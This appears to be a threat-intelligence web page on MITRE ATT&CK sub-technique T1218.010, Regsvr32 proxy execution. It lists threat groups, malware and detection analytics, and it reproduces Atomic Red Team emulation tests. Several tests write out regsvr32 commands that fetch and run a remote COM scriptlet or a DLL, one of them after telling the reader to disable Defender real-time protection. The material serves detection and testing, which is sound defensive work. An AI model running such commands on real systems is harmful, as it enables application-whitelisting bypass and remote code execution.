tfMITRE ATT&CK sub-technique

Regsvr32 T1218.010

sub-technique of T1218 System Binary Proxy Execution

Tactic: Stealth
Platform: Windows
Version: 3.0
Created: 23 January 2020
Last modified: 12 May 2026
Contributor: Casey Smith

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. [1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 15%

Tools & malware85th percentile · 85% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 11%

Detection rules89th percentile · 89% of ATT&CK techniques have this many detection rules written or fewer.

Regsvr32 MITRE reference T1218.010

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Storm-0501G1053 ↗

Has launched Cobalt Strike Beacon files using regsvr32.exe.1

created 2025-10-191 reference

TA551G0127 ↗

Has used regsvr32.exe to load malicious DLLs.1

created 2021-03-191 referenceaka GOLD CABIN

Blue MockingbirdG0108 ↗

Has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.1

created 2020-05-261 reference

InceptionG0100 ↗

Has ensured persistence at system boot by setting the value regsvr32 %path%\ctfmonrn.dll /s.1

created 2020-05-081 referenceaka Inception Framework

KimsukyG0094 ↗

Has executed malware with regsvr32s.1 2

created 2019-08-262 referencesaka Black Banshee

WIRTEG0090 ↗

Has used regsvr32.exe to trigger the execution of a malicious script.1

created 2019-05-241 referenceaka Ashen Lepus

All 11 groups for this technique · 6 newest in this preview

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

C0015C0015 ↗

During C0015, the threat actors employed code that used regsvr32 for execution.1

2021

Operation Dream JobC0022 ↗

During Operation Dream Job, Lazarus Group used regsvr32 to execute malware.1

2019–2020

All 2 campaigns for this technique

23 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

TONESHELLS1239 ↗

Has used regsvr32.exe to execute the windows DLLRegisterServer function.1

created 2025-09-15MALWAREcarried by 1 group

CovenantS1155 ↗

Can create SCT files for installation via Regsvr32 to deploy new Grunt listeners.1

created 2024-09-04TOOLcarried by 1 group

Raspberry RobinS1130 ↗

Uses regsvr32.exe execution without any command line parameters for command and control requests to IP addresses associated with Tor nodes.1

created 2024-05-17MALWARE

MoriS1047 ↗

Can use regsvr32.exe for DLL execution.1

created 2022-09-30MALWAREcarried by 1 group

SquirrelwaffleS1030 ↗

Has been executed using regsvr32.exe.1

created 2022-08-09MALWARE

Saint BotS1018 ↗

Has used regsvr32 to execute scripts.1 2

created 2022-06-09MALWAREcarried by 2 groups

All 23 software entries for this technique · 6 newest in this preview

Offense vs defense T1218.010

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 20Splunk ESCU (cumulative) · 6

first rule: 2018 Q2 · 2 of 2 campaigns plotted

Regsvr32 detection strategy DET0282

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for System Binary Proxy Execution: Regsvr32

Enterprise

1 platform

AN0785 · Windows

Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AllowedDLLPaths	Directories where DLL loading via regsvr32.exe is expected (e.g., C:\Windows\System32).
ScriptletExtensions	File extensions considered suspicious when executed by regsvr32.exe (e.g., .sct, .ocx).
TimeWindow	Timeframe to correlate regsvr32.exe process creation with subsequent module loads and network connections.
ParentProcessWhitelist	Parent processes from which regsvr32.exe is expected (e.g., explorer.exe during legitimate COM object registration).

2 analytics

Regsvr32 can be used to execute arbitrary code in the context of a Windows signed binary, which can be used to bypass application whitelisting. This analytic looks for suspicious usage of the tool. It's not likely that you'll get millions of hits, but it does occur during normal activity so some form of baselining would be necessary for this to be an alerting analytic. Alternatively, it can be used for hunt by looking for new or anomalous DLLs manually.

TypeSituational AwarenessCoverageLowSubmitted2019

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PLA	Process Lineage Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	parent_exe
process	create	command_line
process	create	image
process	create	parent_image

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This just looks for all executions of regsvr32.exe that have a parent of regsvr32.exe but are not regsvr32.exe themselves (which happens). This will have a very high FP rate, but likely not on the order of millions.

index=__your_sysmon_data__ EventCode=1 regsvr32.exe | search ParentImage="*regsvr32.exe" AND Image!="*regsvr32.exe*"

This uses the same logic as above, but adds lightweight baselining by ignoring all results that also showed up in the previous 30 days (it runs over 1 day).

index=__your_sysmon_data__ earliest=-d@d latest=now() EventCode=1 regsvr32.exe | search ParentImage="*regsvr32.exe" AND Image!="*regsvr32.exe*" | search NOT [
search index=__your_sysmon_data__ earliest=-60d@d latest=-30d@d EventCode=1 regsvr32.exe | search ParentImage="*regsvr32.exe" AND Image!="*regsvr32.exe*" | dedup CommandLine | fields CommandLine ]

This looks for child processes that may be spawend by regsvr32, while attempting to eliminate some of the common false positives such as werfault (Windows Error Reporting).

index=__your_sysmon_data__ EventCode=1 (ParentImage="C:\\Windows\\System32\\regsvr32.exe" OR ParentImage="C:\\Windows\\SysWOW64\\regsvr32.exe") AND Image!="C:\\Windows\\System32\\regsvr32.exe" AND Image!="C:\\Windows\\SysWOW64\\regsvr32.exe" AND Image!="C:\\WINDOWS\\System32\\regsvr32.exe" AND Image!="C:\\WINDOWS\\SysWOW64\\regsvr32.exe" AND Image!="C:\\Windows\\SysWOW64\\WerFault.exe" AND Image!="C:\\Windows\\System32\\wevtutil.exe" AND Image!="C:\\Windows\\System32\\WerFault.exe"|stats values(ComputerName) as "Computer Name" values(ParentCommandLine) as "Parent Command Line" count(Image) as ImageCount by Image

This looks for unsigned images that may be loaded by regsvr32, while attempting to eliminate false positives stemming from Windows/Program Files binaries.

index=__your_sysmon_data__ EventCode=7 (Image="C:\\Windows\\System32\\regsvr32.exe" OR Image="C:\\Windows\\SysWOW64\\regsvr32.exe") Signed=false ImageLoaded!="C:\\Program Files*" ImageLoaded!="C:\\Windows\\*"|stats values(ComputerName) as "Computer Name" count(ImageLoaded) as ImageLoadedCount by ImageLoaded

This is a pseudocode version of the above main pattern.

processes = search Process:Create
regsvr_processes = filter processes where (
  parent_image_path == "*regsvr32.exe" and image_path != "*regsvr32.exe*"
 )
output regsvr_processes

This is a pseudocode version of the above Splunk query for spawning child processes.

processes = search Process:Create
regsvr_processes = filter processes where (
  (parent_image_path == "C:\Windows\System32\regsvr32.exe" or parent_image_path == "C:\Windows\SysWOW64\regsvr32.exe") and
  image_path != "C:\Windows\System32\regsvr32.exe" and
  image_path != "C:\Windows\SysWOW64\regsvr32.exe" and
  image_path != "C:\Windows\SysWOW64\WerFault.exe" and
  image_path != "C:\Windows\System32\WerFault.exe" and
  image_path != "C:\Windows\System32\wevtutil.exe"
 )
output regsvr_processes

This is a pseudocode version of the above Splunk query for loading unsigned images.

modules = search Module:Load
unsigned_modules = filter modules where (
  (image_path == "C:\Windows\System32\regsvr32.exe" or image_path == "C:\Windows\SysWOW64\regsvr32.exe") and
  signer == null and
  module_path != "C:\Program Files*" and
  module_path != "C:\Windows\*"
)
output unsigned_modules

Unit tests

CAR’s own validation procedures for this analytic.

Any of the [Atomic Red Team tests for regsvr32.exe](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md) should trigger this.

Squiblydoo is a specific usage of regsvr32.dll to load a COM scriptlet directly from the internet and execute it in a way that bypasses application whitelisting. It can be seen by looking for regsvr32.exe executions that load the scrobj.dll (which execute the COM scriptlet) or, if that is too noisy, those that also load content directly via HTTP or HTTPS.

TypeTTPCoverageModerateSubmitted2019

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This looks for any and all usage of the scrobj DLL, which is what is used to run COM scriptlets, so it'll detect both loading from network as well as filesystem. This will have almost zero false positives so is suitable for alerting.

index=__your_sysmon_events__ EventCode=1 regsvr32.exe scrobj.dll | search Image="*regsvr32.exe"

EQL version of the above Splunk search.

process where subtype.create and
  (process_path == "*regsvr32.exe" and command_line == "*scrobj.dll")

Pseudocode version of the above Splunk search.

processes = search Process:Create
squiblydoo_processes = filter processes where (
  image_path == "*regsvr32.exe" and command_line == "*scrobj.dll"
  )
output squiblydoo_processes

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 image="*\regsvr32.exe" command="*scrobj.dll"

Unit tests

CAR’s own validation procedures for this analytic.

The [Atomic Red Team test for Squiblydoo](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution) is a good test case for this.

Tests5Executorscmd 5Need elevation0 of 5Have prerequisites4Have cleanup1Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Regsvr32 local COM scriptlet execution

windows

cmd

—

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Input arguments

Name	Type	Default	Description
filename	path	PathToAtomicsFolder\T1218.010\src\RegSvr32.sct	Name of the local file, include path.
regsvr32name	string	regsvr32.exe	Default name of Regsvr32.exe
regsvr32path	path	C:\Windows\system32	Default location of Regsvr32.exe

Attack command

#{regsvr32path}\#{regsvr32name} /s /u /i:"#{filename}" scrobj.dll

Prerequisite

Regsvr32.sct must exist on disk at specified location (#{filename})

Check

if (Test-Path "#{filename}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/src/RegSvr32.sct" -OutFile "#{filename}"

GUID9adf418c-2bdd-41b5-992d-fa84d5f35808

Regsvr32 remote COM scriptlet execution

windows

cmd

—

Regsvr32.exe is a command-line program used to register and unregister OLE controls. This test may be blocked by windows defender; disable windows defender real-time protection to fix it. Upon execution, calc.exe will be launched.

Input arguments

Name	Type	Default	Description
url	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct	URL to hosted sct file
regsvr32name	string	regsvr32.exe	Default name of Regsvr32.exe
regsvr32path	path	C:\Windows\system32	Default location of Regsvr32.exe

Attack command

#{regsvr32path}\#{regsvr32name} /s /u /i:#{url} scrobj.dll

GUID64bf2aa5-57a1-4832-adbe-dce7317ec025

Regsvr32 local DLL execution

windows

cmd

—

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.

Input arguments

Name	Type	Default	Description
dll_name	path	PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll	Name of DLL to Execute, DLL Should export DllRegisterServer
regsvr32name	string	regsvr32.exe	Default name of Regsvr32.exe
regsvr32path	path	C:\Windows\system32	Default location of Regsvr32.exe

Attack command

IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\#{regsvr32name} /s #{dll_name} )

Prerequisite

AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

Check

if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"

GUIDb13b2684-e7e3-4d9e-8a8e-198255efd5e1

Regsvr32 Registering Non DLL

windows

cmd

—

Yes

Replicating observed Gozi maldoc behavior registering a dll with an altered extension

Input arguments

Name	Type	Default	Description
dll_file	path	%temp%\shell32.jpg	Path to renamed dll file to be registered
regsvr32name	string	regsvr32.exe	Default name of Regsvr32.exe
regsvr32path	path	C:\Windows\system32	Default location of Regsvr32.exe

Attack command

#{regsvr32path}\#{regsvr32name} /s #{dll_file}

Cleanup command

#{regsvr32path}\#{regsvr32name} /U /s #{dll_file}

Prerequisite

Test requires a renamed dll file

Check

if exist #{dll_file} ( exit 0 ) else ( exit 1 )

Satisfy

copy "C:\Windows\System32\shell32.dll" "#{dll_file}"

GUID4f7c2a61-0e24-43c0-9483-2b660d6d4c8f

Regsvr32 Silent DLL Install Call DllRegisterServer

windows

cmd

—

Regsvr32.exe is a command-line program used to register and unregister OLE controls. Normally, an install is executed with /n to prevent calling DllRegisterServer.

Input arguments

Name	Type	Default	Description
dll_name	string	PathToAtomicsFolder\T1218.010\bin\AllTheThingsx86.dll	Name of DLL to Install
regsvr32name	string	regsvr32.exe	Default name of Regsvr32.exe
regsvr32path	string	C:\Windows\system32	Default location of Regsvr32.exe

Attack command

#{regsvr32path}\#{regsvr32name} /s /i "#{dll_name}"

Prerequisite

AllTheThingsx86.dll must exist on disk at specified location (#{dll_name})

Check

if (Test-Path "#{dll_name}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{dll_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.010/bin/AllTheThingsx86.dll" -OutFile "#{dll_name}"

GUID672c6197-a3f2-422d-ab45-561ede98abb3

Tests from Atomic Red Team (MIT licence) · technique definition

Regsvr32 detections T1218.010

26 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 11%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs